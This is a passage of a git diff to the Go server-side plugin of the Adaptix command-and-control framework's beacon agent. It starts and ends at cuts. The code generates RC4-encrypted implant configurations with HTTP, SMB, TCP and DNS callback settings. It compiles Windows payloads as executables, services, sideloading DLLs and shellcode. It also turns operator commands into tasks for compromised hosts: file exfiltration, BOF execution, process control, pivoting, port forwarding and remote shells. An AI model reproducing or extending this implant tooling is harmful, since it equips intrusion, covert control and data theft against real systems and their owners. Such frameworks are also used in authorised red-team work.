int(ttlF) - labelSize := int(labelSizeF) - if labelSize <= 0 || labelSize > dnsMaxLabelSize { - labelSize = dnsDefaultLabelSize - } - - seconds, err := parseDurationToSeconds(generateConfig.Sleep) - if err != nil { - return nil, err - } - - lWatermark, _ := strconv.ParseInt(listenerWM, 16, 64) - - burstEnabledF, _ := listenerMap["burst_enabled"].(bool) - burstSleepF, _ := listenerMap["burst_sleep"].(float64) - burstJitterF, _ := listenerMap["burst_jitter"].(float64) - - burstEnabled := 0 - if burstEnabledF { - burstEnabled = 1 - } - burstSleep := int(burstSleepF) - if burstSleep <= 0 { - burstSleep = 50 - } - burstJitter := int(burstJitterF) - if burstJitter < 0 || burstJitter > 90 { - burstJitter = 0 - } - - params := []interface{}{ - int(agentWatermark), - // ProfileDNS - domain, - resolvers, - qtype, - pktSize, - labelSize, - ttl, - burstEnabled, - burstSleep, - burstJitter, - // Common tail - int(lWatermark), - killDate, - workingTime, - seconds, - generateConfig.Jitter, - } - - return params, nil -} - -// appendDNSObjectFiles adds DNS-specific object files to the build list. -func appendDNSObjectFiles(files string, objectDir string, ext string) string { - files += objectDir + "/DnsCodec" + ext + " " - files += objectDir + "/miniz" + ext + " " - return files -} diff --git a/AdaptixServer/extenders/beacon_agent/pl_main.go b/AdaptixServer/extenders/beacon_agent/pl_main.go index 9f5256d5..ce5b3339 100644 --- a/AdaptixServer/extenders/beacon_agent/pl_main.go +++ b/AdaptixServer/extenders/beacon_agent/pl_main.go @@ -2,11 +2,21 @@ package main import ( "bytes" - "compress/zlib" + "encoding/base64" + "encoding/binary" "encoding/hex" "encoding/json" + "errors" + "fmt" "io" - "math/rand" + mrand "math/rand" + "math/rand/v2" + "net" + "os" + "os/exec" + "sort" + "strconv" + "strings" "time" "github.com/Adaptix-Framework/axc2" @@ -62,7 +72,6 @@ type Teamserver interface { TsAgentUpdateDataPartial(agentId string, updateData interface{}) error TsAgentConsoleOutput(agentId string, messageType int, message string, clearText string, store bool) - TsAgentConsoleOutputClient(agentId string, client string, messageType int, message string, clearText string) TsPivotCreate(pivotId string, pAgentId string, chAgentId string, pivotName string, isRestore bool) error TsGetPivotInfoByName(pivotName string) (string, string, string) @@ -80,10 +89,12 @@ type Teamserver interface { TsScreenshotAdd(agentId string, Note string, Content []byte) error - TsClientGuiDisks(taskData adaptix.TaskData, jsonDrives string) - TsClientGuiFiles(taskData adaptix.TaskData, path string, jsonFiles string) + TsClientGuiDisksWindows(taskData adaptix.TaskData, drives []adaptix.ListingDrivesDataWin) TsClientGuiFilesStatus(taskData adaptix.TaskData) - TsClientGuiProcess(taskData adaptix.TaskData, jsonFiles string) + TsClientGuiFilesWindows(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataWin) + TsClientGuiFilesUnix(taskData adaptix.TaskData, path string, files []adaptix.ListingFileDataUnix) + TsClientGuiProcessWindows(taskData adaptix.TaskData, process []adaptix.ListingProcessDataWin) + TsClientGuiProcessUnix(taskData adaptix.TaskData, process []adaptix.ListingProcessDataUnix) TsTunnelStart(TunnelId string) (string, error) TsTunnelCreateSocks4(AgentId string, Info string, Lhost string, Lport int) (string, error) @@ -113,95 +124,1265 @@ type Teamserver interface { TsWin32Error(errorCode uint) string } -type ModuleExtender struct { - ts Teamserver -} +type PluginAgent struct{} + +type AgentHandler struct{} var ( - ModuleObject *ModuleExtender + Ts Teamserver ModuleDir string AgentWatermark string ) -func InitPlugin(ts any, moduleDir string, watermark string) any { +func InitPlugin(ts any, moduleDir string, watermark string) adaptix.PluginAgent { ModuleDir = moduleDir AgentWatermark = watermark - - ModuleObject = &ModuleExtender{ - ts: ts.(Teamserver), - } - return ModuleObject + Ts = ts.(Teamserver) + return &PluginAgent{} } -func (m *ModuleExtender) AgentGenerate(config string, listenerWM string, listenerProfile []byte) ([]byte, string, error) { +func makeProxyTask(packData []byte) adaptix.TaskData { + return adaptix.TaskData{Type: TYPE_PROXY_DATA, Data: packData, Sync: false} +} + +func getStringArg(args map[string]any, key string) (string, error) { + v, ok := args[key].(string) + if !ok { + return "", fmt.Errorf("parameter '%s' must be set", key) + } + return v, nil +} + +func getFloatArg(args map[string]any, key string) (float64, error) { + v, ok := args[key].(float64) + if !ok { + return 0, fmt.Errorf("parameter '%s' must be set", key) + } + return v, nil +} + +func getBoolArg(args map[string]any, key string) bool { + v, _ := args[key].(bool) + return v +} + +/// TUNNEL + +func (h *AgentHandler) TunnelCallbacks() adaptix.TunnelCallbacks { + return adaptix.TunnelCallbacks{ + ConnectTCP: TunnelMessageConnectTCP, + ConnectUDP: TunnelMessageConnectUDP, + WriteTCP: TunnelMessageWriteTCP, + WriteUDP: TunnelMessageWriteUDP, + Close: TunnelMessageClose, + Reverse: TunnelMessageReverse, + } +} + +func TunnelMessageConnectTCP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { + var packData []byte + /// START CODE HERE + array := []interface{}{COMMAND_TUNNEL_START_TCP, channelId, tunnelType, address, port} + packData, _ = PackArray(array) + /// END CODE HERE + return makeProxyTask(packData) +} + +func TunnelMessageConnectUDP(channelId int, tunnelType int, addressType int, address string, port int) adaptix.TaskData { + var packData []byte + /// START CODE HERE + array := []interface{}{COMMAND_TUNNEL_START_UDP, channelId, address, port} + packData, _ = PackArray(array) + /// END CODE HERE + return makeProxyTask(packData) +} + +func TunnelMessageWriteTCP(channelId int, data []byte) adaptix.TaskData { + var packData []byte + /// START CODE HERE + array := []interface{}{COMMAND_TUNNEL_WRITE_TCP, channelId, len(data), data} + packData, _ = PackArray(array) + /// END CODE HERE + return makeProxyTask(packData) +} + +func TunnelMessageWriteUDP(channelId int, data []byte) adaptix.TaskData { + var packData []byte + /// START CODE HERE + array := []interface{}{COMMAND_TUNNEL_WRITE_UDP, channelId, len(data), data} + packData, _ = PackArray(array) + /// END CODE HERE + return makeProxyTask(packData) +} + +func TunnelMessageClose(channelId int) adaptix.TaskData { + var packData []byte + /// START CODE HERE + array := []interface{}{COMMAND_TUNNEL_CLOSE, channelId} + packData, _ = PackArray(array) + /// END CODE HERE + return makeProxyTask(packData) +} + +func TunnelMessageReverse(tunnelId int, port int) adaptix.TaskData { + var packData []byte + /// START CODE HERE + array := []interface{}{COMMAND_TUNNEL_REVERSE, tunnelId, port} + packData, _ = PackArray(array) + /// END CODE HERE + return makeProxyTask(packData) +} + +/// TERMINAL + +func (h *AgentHandler) TerminalCallbacks() adaptix.TerminalCallbacks { + return adaptix.TerminalCallbacks{ + Start: TerminalMessageStart, + Write: TerminalMessageWrite, + Close: TerminalMessageClose, + } +} + +func TerminalMessageStart(terminalId int, program string, sizeH int, sizeW int, oemCP int) adaptix.TaskData { + var packData []byte + /// START CODE HERE + programArgs := Ts.TsConvertUTF8toCp(program, oemCP) + array := []interface{}{COMMAND_SHELL_START, terminalId, programArgs} + packData, _ = PackArray(array) + /// END CODE HERE + return makeProxyTask(packData) +} + +func TerminalMessageWrite(terminalId int, oemCP int, data []byte) adaptix.TaskData { + var packData []byte + /// START CODE HERE + dataEncode := Ts.TsConvertUTF8toCp(string(data), oemCP) + if oemCP > 0 { + dataEncode = strings.ReplaceAll(dataEncode, "\n", "\r\n") + } + array := []interface{}{COMMAND_SHELL_WRITE, terminalId, len(dataEncode), []byte(dataEncode)} + packData, _ = PackArray(array) + /// END CODE HERE + return makeProxyTask(packData) +} + +func TerminalMessageClose(terminalId int) adaptix.TaskData { + var packData []byte + /// START CODE HERE + array := []interface{}{COMMAND_JOBS_KILL, terminalId} + packData, _ = PackArray(array) + /// END CODE HERE + return makeProxyTask(packData) +} + +////// PLUGIN AGENT + +type GenerateConfig struct { + Os string `json:"os"` + Arch string `json:"arch"` + Format string `json:"format"` + Sleep string `json:"sleep"` + Jitter int `json:"jitter"` + SvcName string `json:"svcname"` + IsKillDate bool `json:"is_killdate"` + Killdate string `json:"kill_date"` + Killtime string `json:"kill_time"` + IsWorkingTime bool `json:"is_workingtime"` + StartTime string `json:"start_time"` + EndTime string `json:"end_time"` + IsSideloading bool `json:"is_sideloading"` + SideloadingContent string `json:"sideloading_content"` + DnsResolvers string `json:"dns_resolvers"` +} + +var ( + ObjectDir_http = "objects_http" + ObjectDir_smb = "objects_smb" + ObjectDir_tcp = "objects_tcp" + ObjectDir_dns = "objects_dns" + ObjectFiles = [...]string{"Agent", "AgentConfig", "AgentInfo", "ApiLoader", "beacon_functions", "Boffer", "Commander", "Crypt", "Downloader", "Encoders", "JobsController", "MainAgent", "MemorySaver", "Packer", "Pivotter", "ProcLoader", "Proxyfire", "std", "utils", "WaitMask"} + CFlags = "-c -fno-builtin -fno-unwind-tables -fno-strict-aliasing -fno-ident -fno-stack-protector -fno-exceptions -fno-asynchronous-unwind-tables -fno-strict-overflow -fno-delete-null-pointer-checks -fpermissive -w -masm=intel -fPIC" + LFlags = "-Os -s -Wl,-s,--gc-sections -static-libgcc -mwindows" +) + +func (p *PluginAgent) GenerateConfig(config string, listenerWM string, listenerProfile []byte) ([]byte, error) { var ( - listenerMap map[string]any - agentProfile []byte - err error + listenerMap map[string]any + payloadConfig []byte ) - err = json.Unmarshal(listenerProfile, &listenerMap) - if err != nil { - return nil, "", err + if err := json.Unmarshal(listenerProfile, &listenerMap); err != nil { + return nil, err } - agentProfile, err = AgentGenerateProfile(config, listenerWM, listenerMap) - if err != nil { - return nil, "", err - } + /// START CODE HERE - return AgentGenerateBuild(config, agentProfile, listenerMap) -} + var ( + generateConfig GenerateConfig + params []interface{} + ) -func (m *ModuleExtender) AgentCreate(beat []byte) (adaptix.AgentData, error) { - return CreateAgent(m.ts, beat) -} - -func (m *ModuleExtender) AgentCommand(agentData adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) { - return CreateTask(m.ts, agentData, args) -} - -func (m *ModuleExtender) AgentPackData(agentData adaptix.AgentData, tasks []adaptix.TaskData) ([]byte, error) { - packedData, err := PackTasks(agentData, tasks) + err := json.Unmarshal([]byte(config), &generateConfig) if err != nil { return nil, err } - return AgentEncryptData(packedData, agentData.SessionKey) -} - -func (m *ModuleExtender) AgentPivotPackData(pivotId string, data []byte) (adaptix.TaskData, error) { - packData, err := PackPivotTasks(pivotId, data) + agentWatermark, err := strconv.ParseInt(AgentWatermark, 16, 64) if err != nil { - return adaptix.TaskData{}, err + return nil, err } - randomBytes := make([]byte, 16) - rand.Read(randomBytes) - uid := hex.EncodeToString(randomBytes)[:8] + kill_date := 0 + if generateConfig.IsKillDate { + dt := generateConfig.Killdate + " " + generateConfig.Killtime + t, err := time.Parse("02.01.2006 15:04:05", dt) + if err != nil { + err = errors.New("Invalid date format, use: 'DD.MM.YYYY hh:mm:ss'") + return nil, err + } + kill_date = int(t.Unix()) + } + + working_time := 0 + if generateConfig.IsWorkingTime { + t := generateConfig.StartTime + "-" + generateConfig.EndTime + working_time, err = parseStringToWorkingTime(t) + if err != nil { + return nil, err + } + } + + encrypt_key, _ := listenerMap["encrypt_key"].(string) + encryptKey, err := hex.DecodeString(encrypt_key) + if err != nil { + return nil, err + } + + protocol, _ := listenerMap["protocol"].(string) + switch protocol { + + case "http": + + var Hosts []string + var Ports []int + hosts_agent, _ := listenerMap["callback_addresses"].(string) + lines := strings.Split(strings.TrimSpace(hosts_agent), ", ") + for _, line := range lines { + line = strings.TrimSpace(line) + if line == "" { + continue + } + + host, portStr, _ := net.SplitHostPort(line) + port, _ := strconv.Atoi(portStr) + + Hosts = append(Hosts, host) + Ports = append(Ports, port) + } + c2Count := len(Hosts) + + HttpMethod, _ := listenerMap["http_method"].(string) + Ssl, _ := listenerMap["ssl"].(bool) + Uri, _ := listenerMap["uri"].(string) + ParameterName, _ := listenerMap["hb_header"].(string) + UserAgent, _ := listenerMap["user_agent"].(string) + RequestHeaders, _ := listenerMap["request_headers"].(string) + + WebPageOutput, _ := listenerMap["page-payload"].(string) + ansOffset1 := strings.Index(WebPageOutput, "<<>>") + ansOffset2 := len(WebPageOutput[ansOffset1+len("<<>>"):]) + + seconds, err := parseDurationToSeconds(generateConfig.Sleep) + if err != nil { + return nil, err + } + + params = append(params, int(agentWatermark)) + params = append(params, Ssl) + params = append(params, c2Count) + for i := 0; i < c2Count; i++ { + params = append(params, Hosts[i]) + params = append(params, Ports[i]) + } + params = append(params, HttpMethod) + params = append(params, Uri) + params = append(params, ParameterName) + params = append(params, UserAgent) + params = append(params, RequestHeaders) + params = append(params, ansOffset1) + params = append(params, ansOffset2) + params = append(params, kill_date) + params = append(params, working_time) + params = append(params, seconds) + params = append(params, generateConfig.Jitter) + + case "bind_smb": + + pipename, _ := listenerMap["pipename"].(string) + pipename = "\\\\.\\pipe\\" + pipename + + lWatermark, _ := strconv.ParseInt(listenerWM, 16, 64) + + params = append(params, int(agentWatermark)) + params = append(params, pipename) + params = append(params, int(lWatermark)) + params = append(params, kill_date) + + case "bind_tcp": + prepend, _ := listenerMap["prepend_data"].(string) + port, _ := listenerMap["port_bind"].(float64) + + lWatermark, _ := strconv.ParseInt(listenerWM, 16, 64) + + params = append(params, int(agentWatermark)) + params = append(params, prepend) + params = append(params, int(port)) + params = append(params, int(lWatermark)) + params = append(params, kill_date) + + case "dns": + params, err = buildDNSProfileParams(generateConfig, listenerMap, listenerWM, agentWatermark, kill_date, working_time) + if err != nil { + return nil, err + } + + default: + return nil, errors.New("protocol unknown") + } + + packedParams, err := PackArray(params) + if err != nil { + return nil, err + } + + cryptParams, err := RC4Crypt(packedParams, encryptKey) + if err != nil { + return nil, err + } + + profileArray := []interface{}{len(cryptParams), cryptParams, encryptKey} + packedProfile, err := PackArray(profileArray) + if err != nil { + return nil, err + } + + profileString := "" + for _, b := range packedProfile { + profileString += fmt.Sprintf("\\x%02x", b) + } + payloadConfig = []byte(profileString) + + /// END CODE HERE + + return payloadConfig, nil +} + +func (p *PluginAgent) BuildPayload(agentConfig string, agentProfile []byte, listenerProfile []byte) ([]byte, string, error) { + var ( + listenerMap map[string]any + Filename string + Payload []byte + ) + + if err := json.Unmarshal(listenerProfile, &listenerMap); err != nil { + return nil, "", err + } + + /// START CODE HERE + + var ( + generateConfig GenerateConfig + ConnectorFile string + ObjectDir string + Compiler string + Ext string + stubPath string + buildPath string + cmdConfig string + stdout bytes.Buffer + stderr bytes.Buffer + ) + + cFlags := CFlags + lFlags := LFlags + + err := json.Unmarshal([]byte(agentConfig), &generateConfig) + if err != nil { + return nil, "", err + } + + currentDir := ModuleDir + tempDir, err := os.MkdirTemp("", "ax-*") + if err != nil { + return nil, "", err + } + + protocol, _ := listenerMap["protocol"].(string) + if protocol == "http" { + ObjectDir = ObjectDir_http + ConnectorFile = "ConnectorHTTP" + } else if protocol == "bind_smb" { + ObjectDir = ObjectDir_smb + ConnectorFile = "ConnectorSMB" + } else if protocol == "bind_tcp" { + ObjectDir = ObjectDir_tcp + ConnectorFile = "ConnectorTCP" + } else if protocol == "dns" { + ObjectDir = ObjectDir_dns + ConnectorFile = "ConnectorDNS" + } else { + return nil, "", errors.New("protocol unknown") + } + + if generateConfig.Arch == "x86" { + Compiler = "i686-w64-mingw32-g++" + Ext = ".x86.o" + stubPath = currentDir + "/" + ObjectDir + "/stub.x86.bin" + Filename = "agent.x86" + } else { + Compiler = "x86_64-w64-mingw32-g++" + Ext = ".x64.o" + stubPath = currentDir + "/" + ObjectDir + "/stub.x64.bin" + Filename = "agent.x64" + } + + svcName := "" + for _, char := range generateConfig.SvcName { + svcName += fmt.Sprintf("\\x%02x", char) + } + + agentProfileSize := len(agentProfile) / 4 + if generateConfig.Format == "Service Exe" { + cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DBUILD_SVC -DSERVICE_NAME='\"%s\"' -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d -o %s/config.o", Compiler, cFlags, ObjectDir, svcName, string(agentProfile), agentProfileSize, tempDir) + } else { + cmdConfig = fmt.Sprintf("%s %s %s/config.cpp -DPROFILE='\"%s\"' -DPROFILE_SIZE=%d -o %s/config.o", Compiler, cFlags, ObjectDir, string(agentProfile), agentProfileSize, tempDir) + } + runnerCmdConfig := exec.Command("sh", "-c", cmdConfig) + runnerCmdConfig.Dir = currentDir + runnerCmdConfig.Stdout = &stdout + runnerCmdConfig.Stderr = &stderr + err = runnerCmdConfig.Run() + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", errors.New(string(stderr.Bytes())) + } + + Files := tempDir + "/config.o " + Files += ObjectDir + "/" + ConnectorFile + Ext + " " + for _, ofile := range ObjectFiles { + Files += ObjectDir + "/" + ofile + Ext + " " + } + if protocol == "dns" { + Files = appendDNSObjectFiles(Files, ObjectDir, Ext) + } + + if generateConfig.Format == "Exe" { + Files += ObjectDir + "/main" + Ext + buildPath = tempDir + "/file.exe" + Filename += ".exe" + } else if generateConfig.Format == "Service Exe" { + Files += ObjectDir + "/main_service" + Ext + buildPath = tempDir + "/svc.exe" + Filename = "svc_" + Filename + ".exe" + } else if generateConfig.Format == "DLL" { + Files += ObjectDir + "/main_dll" + Ext + lFlags += " -shared" + buildPath = tempDir + "/file.dll" + Filename += ".dll" + if generateConfig.IsSideloading { + sideloadingContent, err := base64.StdEncoding.DecodeString(generateConfig.SideloadingContent) + if err != nil { + return nil, "", errors.New("unknown sideloading DLL format") + } + defPath, err := CreateDefinitionFile(sideloadingContent, tempDir) + if err != nil { + return nil, "", err + } + lFlags += " " + defPath + } + } else if generateConfig.Format == "Shellcode" { + Files += ObjectDir + "/main_shellcode" + Ext + lFlags += " -shared" + buildPath = tempDir + "/file.dll" + Filename += ".bin" + } else { + _ = os.RemoveAll(tempDir) + return nil, "", errors.New("unknown file format") + } + + cmdBuild := fmt.Sprintf("%s %s %s -o %s", Compiler, lFlags, Files, buildPath) + runnerCmdBuild := exec.Command("sh", "-c", cmdBuild) + runnerCmdBuild.Dir = currentDir + runnerCmdBuild.Stdout = &stdout + runnerCmdBuild.Stderr = &stderr + err = runnerCmdBuild.Run() + if err != nil { + _ = os.RemoveAll(tempDir) + return nil, "", fmt.Errorf("%v: %s", err, stderr.String()) + } + + buildContent, err := os.ReadFile(buildPath) + if err != nil { + return nil, "", err + } + _ = os.RemoveAll(tempDir) + + if generateConfig.Format == "Shellcode" { + stubContent, err := os.ReadFile(stubPath) + if err != nil { + return nil, "", err + } + Payload = append(stubContent, buildContent...) + + } else { + Payload = buildContent + } + + /// END CODE HERE + + return Payload, Filename, nil +} + +func (p *PluginAgent) CreateAgent(beat []byte) (adaptix.AgentData, adaptix.AgentHandler, error) { + var agentData adaptix.AgentData + + /// START CODE HERE + + packer := CreatePacker(beat) + + if false == packer.CheckPacker([]string{"int", "int", "int", "int", "word", "word", "byte", "word", "word", "int", "byte", "byte", "int", "byte", "array", "array", "array", "array", "array"}) { + return agentData, nil, errors.New("error agentData data") + } + + agentData.Sleep = packer.ParseInt32() + agentData.Jitter = packer.ParseInt32() + agentData.KillDate = int(packer.ParseInt32()) + agentData.WorkingTime = int(packer.ParseInt32()) + agentData.ACP = int(packer.ParseInt16()) + agentData.OemCP = int(packer.ParseInt16()) + agentData.GmtOffset = int(packer.ParseInt8()) + agentData.Pid = fmt.Sprintf("%v", packer.ParseInt16()) + agentData.Tid = fmt.Sprintf("%v", packer.ParseInt16()) + + buildNumber := packer.ParseInt32() + majorVersion := packer.ParseInt8() + minorVersion := packer.ParseInt8() + internalIp := packer.ParseInt32() + flag := packer.ParseInt8() + + agentData.Arch = "x32" + if (flag & 0b00000001) > 0 { + agentData.Arch = "x64" + } + + systemArch := "x32" + if (flag & 0b00000010) > 0 { + systemArch = "x64" + } + + agentData.Elevated = false + if (flag & 0b00000100) > 0 { + agentData.Elevated = true + } + + IsServer := false + if (flag & 0b00001000) > 0 { + IsServer = true + } + + agentData.InternalIP = int32ToIPv4(internalIp) + agentData.Os, agentData.OsDesc = GetOsVersion(majorVersion, minorVersion, buildNumber, IsServer, systemArch) + + agentData.SessionKey = packer.ParseBytes() + agentData.Domain = string(packer.ParseBytes()) + agentData.Computer = string(packer.ParseBytes()) + agentData.Username = Ts.TsConvertCpToUTF8(string(packer.ParseBytes()), agentData.ACP) + agentData.Process = Ts.TsConvertCpToUTF8(string(packer.ParseBytes()), agentData.ACP) + + /// END CODE + + return agentData, &AgentHandler{}, nil +} + +// Handler methods + +func (h *AgentHandler) Encrypt(data []byte, key []byte) ([]byte, error) { + /// START CODE + return RC4Crypt(data, key) + /// END CODE +} + +func (h *AgentHandler) Decrypt(data []byte, key []byte) ([]byte, error) { + /// START CODE + return RC4Crypt(data, key) + /// END CODE +} + +func (h *AgentHandler) PackTasks(agentData adaptix.AgentData, tasks []adaptix.TaskData) ([]byte, error) { + + var packData []byte + + /// START CODE HERE + + var ( + array []interface{} + err error + ) + + for _, taskData := range tasks { + taskId, err := strconv.ParseInt(taskData.TaskId, 16, 64) + if err != nil { + return nil, err + } + array = append(array, taskData.Data) + array = append(array, int(taskId)) + } + + packData, err = PackArray(array) + if err != nil { + return nil, err + } + + size := make([]byte, 4) + binary.LittleEndian.PutUint32(size, uint32(len(packData))) + packData = append(size, packData...) + + /// END CODE + + return packData, nil +} + +func (h *AgentHandler) PivotPackData(pivotId string, data []byte) (adaptix.TaskData, error) { + var ( + packData []byte + err error = nil + ) + + /// START CODE HERE + + id, _ := strconv.ParseInt(pivotId, 16, 64) + array := []interface{}{COMMAND_PIVOT_EXEC, int(id), len(data), data} + packData, _ = PackArray(array) + + /// END CODE taskData := adaptix.TaskData{ - TaskId: uid, + TaskId: fmt.Sprintf("%08x", mrand.Uint32()), Type: TYPE_PROXY_DATA, Data: packData, Sync: false, } - return taskData, nil + return taskData, err } -func (m *ModuleExtender) AgentProcessData(agentData adaptix.AgentData, packedData []byte) ([]byte, error) { - decryptData, err := AgentDecryptData(packedData, agentData.SessionKey) - if err != nil { - return nil, err +func (h *AgentHandler) CreateCommand(agentData adaptix.AgentData, args map[string]any) (adaptix.TaskData, adaptix.ConsoleMessageData, error) { + var ( + taskData adaptix.TaskData + messageData adaptix.ConsoleMessageData + err error + ) + + command, ok := args["command"].(string) + if !ok { + return taskData, messageData, errors.New("'command' must be set") + } + subcommand, _ := args["subcommand"].(string) + + taskData = adaptix.TaskData{ + Type: TYPE_TASK, + Sync: true, } - // Try to decompress DNS agent data with session framing. - // Falls back to raw data for HTTP/TCP/SMB agents. - plain, ok := decompressAgentData(decryptData) - if !ok { - plain = decryptData + messageData = adaptix.ConsoleMessageData{ + Status: MESSAGE_INFO, + Text: "", } + messageData.Message, _ = args["message"].(string) + + /// START CODE HERE + + var array []interface{} + + switch command { + + case "cat": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + array = []interface{}{COMMAND_CAT, Ts.TsConvertUTF8toCp(path, agentData.ACP)} + + case "cd": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + array = []interface{}{COMMAND_CD, Ts.TsConvertUTF8toCp(path, agentData.ACP)} + + case "cp": + src, err := getStringArg(args, "src") + if err != nil { + goto RET + } + dst, err := getStringArg(args, "dst") + if err != nil { + goto RET + } + array = []interface{}{COMMAND_COPY, Ts.TsConvertUTF8toCp(src, agentData.ACP), Ts.TsConvertUTF8toCp(dst, agentData.ACP)} + + case "disks": + array = []interface{}{COMMAND_DISKS} + + case "download": + path, err := getStringArg(args, "file") + if err != nil { + goto RET + } + array = []interface{}{COMMAND_DOWNLOAD, Ts.TsConvertUTF8toCp(path, agentData.ACP)} + + case "execute": + if subcommand == "bof" { + taskData.Type = TYPE_JOB + + bofFile, err := getStringArg(args, "bof") + if err != nil { + goto RET + } + bofContent, err := base64.StdEncoding.DecodeString(bofFile) + if err != nil { + goto RET + } + + var params []byte + paramData, ok := args["param_data"].(string) + if ok { + params, err = base64.StdEncoding.DecodeString(paramData) + if err != nil { + params = []byte(paramData) + params = append(params, 0) + } + } + + array = []interface{}{COMMAND_EXEC_BOF, "go", len(bofContent), bofContent, len(params), params} + } else { + err = errors.New("subcommand must be 'bof'") + goto RET + } + + case "exfil": + fid, err := getStringArg(args, "file_id") + if err != nil { + goto RET + } + + fileId, parseErr := strconv.ParseInt(fid, 16, 64) + if parseErr != nil { + err = parseErr + goto RET + } + + if subcommand == "cancel" { + array = []interface{}{COMMAND_EXFIL, DOWNLOAD_STATE_CANCELED, int(fileId)} + } else if subcommand == "stop" { + array = []interface{}{COMMAND_EXFIL, DOWNLOAD_STATE_STOPPED, int(fileId)} + } else if subcommand == "start" { + array = []interface{}{COMMAND_EXFIL, DOWNLOAD_STATE_RUNNING, int(fileId)} + } else { + err = errors.New("subcommand must be 'cancel', 'start' or 'stop'") + goto RET + } + + case "getuid": + array = []interface{}{COMMAND_GETUID} + + case "jobs": + if subcommand == "list" { + array = []interface{}{COMMAND_JOB_LIST} + + } else if subcommand == "kill" { + job, err := getStringArg(args, "task_id") + if err != nil { + goto RET + } + + jobId, parseErr := strconv.ParseInt(job, 16, 64) + if parseErr != nil { + err = parseErr + goto RET + } + + array = []interface{}{COMMAND_JOBS_KILL, int(jobId)} + } else { + err = errors.New("subcommand must be 'list' or 'kill'") + goto RET + } + + case "link": + //if subcommand == "list" { + // //array = []interface{}{COMMAND_PS_LIST} + //} else + if subcommand == "smb" { + target, err := getStringArg(args, "target") + if err != nil { + goto RET + } + pipename, err := getStringArg(args, "pipename") + if err != nil { + goto RET + } + pipe := fmt.Sprintf("\\\\%s\\pipe\\%s", target, pipename) + + array = []interface{}{COMMAND_LINK, 1, pipe} + + } else if subcommand == "tcp" { + target, err := getStringArg(args, "target") + if err != nil { + goto RET + } + port, err := getFloatArg(args, "port") + if err != nil { + goto RET + } + array = []interface{}{COMMAND_LINK, 2, target, int(port)} + + } else { + err = errors.New("subcommand must be 'smb' or 'tcp'") + goto RET + } + + case "ls": + dir, err := getStringArg(args, "directory") + if err != nil { + goto RET + } + array = []interface{}{COMMAND_LS, Ts.TsConvertUTF8toCp(dir, agentData.ACP)} + + case "lportfwd": + taskData.Type = TYPE_TUNNEL + + lportNumber, _ := getFloatArg(args, "lport") + lport := int(lportNumber) + if lport < 1 || lport > 65535 { + err = errors.New("port must be from 1 to 65535") + goto RET + } + + if subcommand == "start" { + lhost, err := getStringArg(args, "lhost") + if err != nil { + goto RET + } + fhost, err := getStringArg(args, "fwdhost") + if err != nil { + goto RET + } + fportNumber, _ := getFloatArg(args, "fwdport") + fport := int(fportNumber) + if fport < 1 || fport > 65535 { + err = errors.New("port must be from 1 to 65535") + goto RET + } + + tunnelId, err := Ts.TsTunnelCreateLportfwd(agentData.Id, "", lhost, lport, fhost, fport) + if err != nil { + goto RET + } + taskData.TaskId, err = Ts.TsTunnelStart(tunnelId) + if err != nil { + goto RET + } + + taskData.Message = fmt.Sprintf("Started local port forwarding on %s:%d to %s:%d", lhost, lport, fhost, fport) + taskData.MessageType = MESSAGE_SUCCESS + taskData.ClearText = "\n" + + } else if subcommand == "stop" { + taskData.Completed = true + + Ts.TsTunnelStopLportfwd(agentData.Id, lport) + + taskData.Message = fmt.Sprintf("Local port forwarding on %d stopped", lport) + taskData.MessageType = MESSAGE_SUCCESS + taskData.ClearText = "\n" + + } else { + err = errors.New("subcommand must be 'start' or 'stop'") + goto RET + } + + case "mv": + src, err := getStringArg(args, "src") + if err != nil { + goto RET + } + dst, err := getStringArg(args, "dst") + if err != nil { + goto RET + } + array = []interface{}{COMMAND_MV, Ts.TsConvertUTF8toCp(src, agentData.ACP), Ts.TsConvertUTF8toCp(dst, agentData.ACP)} + + case "mkdir": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + array = []interface{}{COMMAND_MKDIR, Ts.TsConvertUTF8toCp(path, agentData.ACP)} + + case "profile": + if subcommand == "download.chunksize" { + size, err := getFloatArg(args, "size") + if err != nil { + goto RET + } + array = []interface{}{COMMAND_PROFILE, 2, int(size)} + + } else if subcommand == "killdate" { + dt, err := getStringArg(args, "datetime") + if err != nil { + goto RET + } + + killDate := 0 + if dt != "0" { + t, err := time.Parse("02.01.2006 15:04:05", dt) + if err != nil { + err = errors.New("Invalid date format, use: 'DD.MM.YYYY hh:mm:ss'") + goto RET + } + killDate = int(t.Unix()) + // KillDate = utils.EpochTimeToSystemTime(KillDate) + } + array = []interface{}{COMMAND_PROFILE, 3, killDate} + + } else if subcommand == "workingtime" { + t, err := getStringArg(args, "time") + if err != nil { + goto RET + } + + workingTime := 0 + if t != "0" { + workingTime, err = parseStringToWorkingTime(t) + if err != nil { + goto RET + } + } + array = []interface{}{COMMAND_PROFILE, 4, workingTime} + + } else { + err = errors.New("subcommand for 'profile' not found") + goto RET + } + + case "ps": + if subcommand == "list" { + array = []interface{}{COMMAND_PS_LIST} + + } else if subcommand == "kill" { + pid, err := getFloatArg(args, "pid") + if err != nil { + goto RET + } + array = []interface{}{COMMAND_PS_KILL, int(pid)} + + } else if subcommand == "run" { + taskData.Type = TYPE_JOB + + output := getBoolArg(args, "-o") + suspend := getBoolArg(args, "-s") + programState := 0 + if suspend { + programState = 4 + } + programArgs, _ := args["args"].(string) + programArgs = Ts.TsConvertUTF8toCp(programArgs, agentData.ACP) + + array = []interface{}{COMMAND_PS_RUN, output, programState, programArgs} + + } else { + err = errors.New("subcommand must be 'list', 'kill' or 'run'") + goto RET + } + + case "pwd": + array = []interface{}{COMMAND_PWD} + + case "rev2self": + array = []interface{}{COMMAND_REV2SELF} + + case "rm": + path, err := getStringArg(args, "path") + if err != nil { + goto RET + } + array = []interface{}{COMMAND_RM, Ts.TsConvertUTF8toCp(path, agentData.ACP)} + + case "rportfwd": + taskData.Type = TYPE_TUNNEL + + lportNumber, _ := getFloatArg(args, "lport") + lport := int(lportNumber) + if lport < 1 || lport > 65535 { + err = errors.New("port must be from 1 to 65535") + goto RET + } + + if subcommand == "start" { + fhost, err := getStringArg(args, "fwdhost") + if err != nil { + goto RET + } + 